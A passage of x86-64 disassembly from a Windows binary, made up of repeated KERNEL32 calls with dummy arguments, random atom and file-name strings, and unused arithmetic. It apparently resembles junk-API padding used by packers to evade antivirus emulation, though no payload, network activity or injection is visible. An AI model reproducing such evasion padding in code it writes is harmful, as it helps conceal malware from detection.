mov qword [0x14024efc8], rax
mov rcx, qword [rsp + 0x9b60]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.7scLPbplHc_fS
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc108], rax
mov eax, dword [rsp + 0x42e8]
mov rcx, qword [rsp + 0xb480]
mov qword [rsp + 0xc110], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc110]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x43a0], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9d88], rax
mov rax, qword [rsp + 0xa120]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2e0]
sar eax, cl
mov byte [rsp + 0x2bc], al
mov dword [rsp + 0x20], 0x1f09
mov r9d, 0x2154
mov r8d, 0x2c3c
mov edx, 0xbc9
mov rcx, qword [rsp + 0xb700]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x492c], eax
lea rcx, [rsp + 0x1a3a8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov edx, 0x15be
mov rcx, qword [rsp + 0xbae0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4dac], eax
lea rax, [rsp + 0xfb8]
mov qword [rsp + 0xc118], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
mov rax, qword [rsp + 0xaee0]
mov ecx, dword [rsp + 0x44c0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xa040]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9850], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
lea rcx, [rsp + 0x9c90]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx ecx, word [rsp + 0x1108]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1688], ax
mov rax, qword [rsp + 0x9680]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x2d3]
imul eax, ecx
mov rcx, qword [rsp + 0x8f98]
mov byte [rcx], al
mov rax, qword [rsp + 0xa998]
mov eax, dword [rax]
mov dword [rsp + 0x509c], eax
lea rdx, [rsp + 0xbad0]
mov rcx, qword [rsp + 0x9d48]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4e40], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
lea rcx, [rsp + 0xc120]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rdx, [rsp + 0xb6e0]
mov rcx, qword [rsp + 0xb2f8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4e9c], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa690], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc128], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
movzx ecx, word [rsp + 0x1524]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1458], ax
mov rax, qword [rsp + 0x9898]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd38]
add eax, ecx
mov word [rsp + 0x940], ax
lea rax, [rsp + 0x9a18]
mov qword [rsp + 0xc130], rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
lea rcx, str.9j2j
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x168c], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
mov rax, qword [rsp + 0x9b90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x28e]
sub eax, ecx
mov byte [0x14024f048], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9880], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
lea rcx, [rsp + 0x1aee8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xa238]
mov ecx, dword [rsp + 0x4440]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x49b0], eax
mov rax, qword [rsp + 0xaa40]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xabb8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xafe8]
mov word [rcx], ax
movzx ecx, word [rsp + 0xf24]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x11ac], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov rax, qword [rsp + 0x9708]
mov rcx, qword [rsp + 0x80a8]
imul rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0x79d0], rax
mov rax, qword [rsp + 0xa498]
mov rcx, qword [rsp + 0x9620]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x88f8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.4hLQsgf4tlw
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc138], rax
mov rcx, qword [rsp + 0xa880]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
movzx ecx, word [rsp + 0x15c0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1530], ax
lea rcx, [rsp + 0x1af18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0x10d8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1404], ax
mov r9d, 0x18fe
xor r8d, r8d
lea rdx, [rsp + 0x9b60]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4d7c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xa638]
mov eax, dword [rax]
mov dword [rsp + 0x50a0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
movzx ecx, word [rsp + 0x11a4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf4c], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rcx, [rsp + 0x22f20]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x4e38], eax
lea rcx, [rsp + 0x1a7c8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movsx eax, word [rsp + 0x1558]
movsx ecx, word [0x14024f3be]
add eax, ecx
mov word [rsp + 0x1118], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.8R3SkO0TFH58pnj5nIxie
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc140], rax
lea rax, [rsp + 0x294]
mov qword [rsp + 0xc148], rax
lea rcx, str.Gd0JCu
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1454], ax
mov rax, qword [rsp + 0x9c80]
mov ecx, dword [rsp + 0x43dc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4ecc], eax
movzx eax, word [rsp + 0x14b0]
mov rcx, qword [rsp + 0xc0d0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14022fbec], ax
mov rcx, qword [rsp + 0x9178]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4b10], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rax, qword [rsp + 0xb060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2b7]
sub eax, ecx
mov byte [rsp + 0x2bc], al
mov dword [rsp + 0x23040], 0x11c
lea rcx, str.ZhbA
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1688], ax
mov r9d, 2
lea r8, [rsp + 0x9a58]
mov rdx, qword [rsp + 0x8ee0]
mov rcx, qword [rsp + 0xa5a0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c78], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xc150], rax
mov r9d, 0x825
xor r8d, r8d
lea rdx, [rsp + 0xb0d8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a14], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9b48], rax
mov rax, qword [rsp + 0xa2f8]
mov rax, qword [rax]
mov qword [rsp + 0xc158], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc160], rax
mov rax, qword [rsp + 0xa910]
mov rcx, qword [rsp + 0x9548]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xaf20]
mov qword [rcx], rax
mov eax, dword [rsp + 0x48d4]
movzx ecx, al
mov eax, dword [rsp + 0x47b8]
shr eax, cl
mov dword [rsp + 0x40dc], eax
mov rax, qword [rsp + 0x96a8]
mov ecx, dword [0x14022fb5c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xbc58]
mov dword [rcx], eax
lea rdx, [rsp + 0xb7d0]
mov rcx, qword [rsp + 0xa890]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4cbc], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xbe30], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movsx eax, byte [rsp + 0x238]
mov rcx, qword [rsp + 0xbbc0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x293], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rsp + 0x9ed0]
movzx eax, word [rax]
mov word [rsp + 0x1690], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMemoryResourceNotification]
lea rcx, [rsp + 0x1af48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x223e0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x5010], eax
mov rax, qword [rsp + 0xa310]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x298]
cdq
idiv ecx
mov byte [rsp + 0xdb], al
movzx ecx, word [rsp + 0x14f4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1634], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc168], rax
movzx eax, word [rsp + 0xf80]
mov word [0x14024efc0], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x9f80], rax
mov rax, qword [rsp + 0x9080]
mov rcx, qword [rsp + 0x7920]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7ec8], rax
mov rax, qword [rsp + 0x9008]
mov rcx, qword [rsp + 0xad20]
imul rcx, qword [rax]
mov rax, rcx
mov rcx, qword [rsp + 0xaf68]
mov qword [rcx], rax
movzx eax, word [rsp + 0xf98]
movzx ecx, word [rsp + 0x129c]
add eax, ecx
mov word [rsp + 0x5cc], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov rax, qword [rsp + 0xaff8]
movzx eax, byte [rax]
mov byte [rsp + 0x2f9], al
lea rdx, [rsp + 0xc170]
mov rcx, qword [rsp + 0x9ab8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a44], eax
movsx eax, byte [rsp + 0x60]
mov rcx, qword [rsp + 0xbfc0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2b6], al
mov rax, qword [rsp + 0xae20]
mov rcx, qword [rsp + 0x93e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x40d0], eax
mov r9d, 1
lea r8, [rsp + 0xbf98]
mov rdx, qword [rsp + 0xae70]
mov rcx, qword [rsp + 0xb358]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4810], eax
mov rax, qword [rsp + 0xa360]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x148c]
sub eax, ecx
mov word [rsp + 0x7e0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x49cc]
mov ecx, dword [rsp + 0x5094]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f04], eax
mov rax, qword [rsp + 0xa0a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8e08]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [0x14024f2e8]
mov word [rcx], ax
mov rax, qword [0x14024f398]
movzx eax, byte [rax]
mov byte [rsp + 0x2fa], al
mov rax, qword [rsp + 0xb4e8]
mov rcx, qword [rsp + 0xa0d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb968]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xa7b8], rax
movzx ecx, word [rsp + 0x1688]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1008], ax
mov rax, qword [rsp + 0xabf8]
mov rax, qword [rax]
mov qword [rsp + 0xc178], rax
lea rcx, str.ISsE40mK
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x13d0], ax
mov rax, qword [rsp + 0xb318]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb270]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8538], rax
lea rcx, str.SXXJClh1E
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1694], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommError]
mov rax, qword [rsp + 0xbb98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4d5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4410], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xc128], rax
lea rcx, [rsp + 0x1af18]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, word [rsp + 0x15b0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1698], ax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x20460]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4f74], eax
mov rax, qword [rsp + 0x9518]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1000]
add eax, ecx
mov word [rsp + 0x1360], ax
movsx eax, byte [rsp + 0x15b]
movsx ecx, byte [rsp + 0x27d]
xor eax, ecx
mov byte [rsp + 0x2f4], al
mov rax, qword [rsp + 0xb8a0]
mov eax, dword [rax]
mov dword [rsp + 0x50a4], eax
mov r9d, 2
lea r8, [rsp + 0x9760]
mov rdx, qword [rsp + 0xc180]
mov rcx, qword [rsp + 0x9e18]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c74], eax
lea rax, [rsp + 0x2cc]
mov qword [0x14024efb8], rax
mov dword [rsp + 0x20], 0x37e6
mov r9d, 0x2e59
mov r8d, 0x1d0a
mov edx, 0x6d0
mov rcx, qword [rsp + 0x9fd8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4bf8], eax
mov rax, qword [rsp + 0xbb68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa128]
mov qword [rsp + 0xc188], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc188]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xaca8], rax
mov rcx, qword [rsp + 0x9990]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x774]
mov qword [rsp + 0xc190], rax
mov rax, qword [rsp + 0xba60]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8210]
sar rax, cl
mov qword [rsp + 0x8328], rax
lea rcx, [rsp + 0xc198]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
xor r9d, r9d
lea r8, [rsp + 0xa1c0]
mov rdx, qword [rsp + 0xb740]
mov rcx, qword [rsp + 0x96d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4c4c], eax
mov rax, qword [rsp + 0xad30]
mov rcx, qword [rsp + 0xa878]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x93b8]
mov dword [rcx], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.aCNL8r7hII1uIxJmGV7T
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc1a0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
lea rax, [rsp + 0x13d8]
mov qword [rsp + 0xc1a8], rax
xor r8d, r8d
mov edx, 4
lea rcx, [rsp + 0x20c40]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x46fc], eax
movsx eax, byte [rsp + 0xd8]
movsx ecx, byte [rsp + 0x29e]
and eax, ecx
mov byte [rsp + 0x2c0], al
mov r9d, 0x666
xor r8d, r8d
lea rdx, [rsp + 0xbdf8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x50a8], eax
lea rdx, [rsp + 0xb408]
mov rcx, qword [rsp + 0x9788]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4bf4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
lea rcx, str.GedI
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x169c], ax
call qword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov rax, qword [rsp + 0x9f50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a5c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f54], eax
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x1fec0]
call qword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
mov dword [rsp + 0x4ebc], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc1b0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetPriorityClass]
mov rcx, qword [rsp + 0xb460]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rdx, [rsp + 0xc1b8]
mov rcx, qword [rsp + 0x9bd8]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4b88], eax
xor r9d, r9d
lea r8, [rsp + 0xbdf0]
mov rdx, qword [rsp + 0xb078]
mov rcx, qword [rsp + 0x9a28]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x4aa4], eax
mov rcx, qword [rsp + 0xbf78]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x50ac], eax
mov dword [rsp + 0x20], 0xb92
mov r9d, 0x2c95
mov r8d, 0x17d5
mov edx, 0x1bac
mov rcx, qword [rsp + 0xb5b0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4aac], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
movzx eax, word [rsp + 0x1138]
movzx ecx, word [rsp + 0x115c]
add eax, ecx
mov word [rsp + 0x700], ax
mov rcx, qword [rsp + 0x9650]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xc1c0], rax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xb788], rax
lea rdx, [rsp + 0xc1c8]
mov rcx, qword [rsp + 0xb348]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x499c], eax
movzx eax, byte [rsp + 0x270]
movzx ecx, byte [rsp + 0x86]
sub eax, ecx
mov byte [0x14022fb86], al
lea rcx, str.UD3oj2s_gACaf_Xe8a
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x15bc], ax
lea rcx, [rsp + 0x9c28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx ecx, word [rsp + 0x1394]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xf6c], ax
mov rax, qword [rsp + 0xabf8]
mov rcx, qword [rsp + 0x8168]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xaaf8], rax
lea rax, [rsp + 0x111c]
mov qword [rsp + 0xc1d0], rax
mov rax, qword [rsp + 0x9b68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb3a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xaf10]
mov byte [rcx], al
mov rax, qword [rsp + 0xb8a0]
mov eax, dword [rax]
mov dword [rsp + 0x50b0], eax
movsx eax, byte [rsp + 0x2b3]
mov rcx, qword [rsp + 0xb248]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xd6], al
lea rax, [0x14022fb5c]
mov qword [rsp + 0xc1d8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov edx, 0xbbc
mov rcx, qword [rsp + 0xb6f8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x505c], eax
mov r9d, 0x4f2
xor r8d, r8d
lea rdx, [rsp + 0xae08]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x497c], eax
mov rax, qword [rsp + 0xa208]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x10b8]
and eax, ecx
mov word [rsp + 0x148c], ax
mov rax, qword [rsp + 0xace8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8868]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9738]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e58]
movzx eax, word [rax]
mov word [rsp + 0x16a0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 0x1d60
xor r8d, r8d
lea rdx, [rsp + 0x96d0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x49bc], eax
mov rax, qword [rsp + 0x9a10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a88]
or ecx, eax
mov eax, ecx
mov dword [0x14022fbe4], eax
mov rax, qword [rsp + 0xb648]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x99e0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x17c], al
mov rax, qword [rsp + 0xa048]
cqo
mov rcx, qword [rsp + 0xbf68]
idiv qword [rcx]
mov qword [rsp + 0x8788], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x9d88], rax
mov rax, qword [rsp + 0x7988]
mov rcx, qword [rsp + 0xa760]
mov qword [rsp + 0xc1e0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xc1e0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8110], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xc1e8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushViewOfFile]
mov rax, qword [rsp + 0xbab8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xd44]
xor eax, ecx
mov rcx, qword [rsp + 0xab10]
mov word [rcx], ax
mov eax, dword [rsp + 0x4d74]
mov dword [rsp + 0x50b4], eax
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0xa340], rax
mov r9d, 1
lea r8, [rsp + 0xa6f0]
mov rdx, qword [rsp + 0x9278]
mov rcx, qword [rsp + 0xa4e8]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x50b8], eax
mov rax, qword [rsp + 0xa8b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb248]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x250], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
lea rcx, [rsp + 0x23040]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0x49d0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0xa2d8]
mov rcx, qword [rsp + 0xb9f0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4d2c], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x80000000
lea rcx, str.tpR5tj8YZaUWZLqSeJuZPuxwMvBHnr
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xc1f0], rax
movzx eax, word [0x14024f302]
mov rcx, qword [rsp + 0x9780]
movzx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0xa10], ax
mov rax, qword [rsp + 0xbc68]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaed8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xb620]
mov byte [rcx], al
mov eax, dword [rsp + 0x4ff0]
mov dword [0x14024efb0], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMailslotInfo]
mov rax, qword [rsp + 0x9aa0]
mov rcx, qword [0x14024f3c0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9af8]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xa790]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
movzx ecx, word [rsp + 0x1240]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x16a4], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xba90], rax
mov rax, qword [rsp + 0xb1b0]
mov rax, qword [rax]
mov qword [rsp + 0xc1f8], rax
mov rax, qword [rsp + 0xb648]
movzx eax, byte [rax]
mov rcx, qword [0x14024efc8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2e6], al
mov rcx, qword [rsp + 0xa0f8]
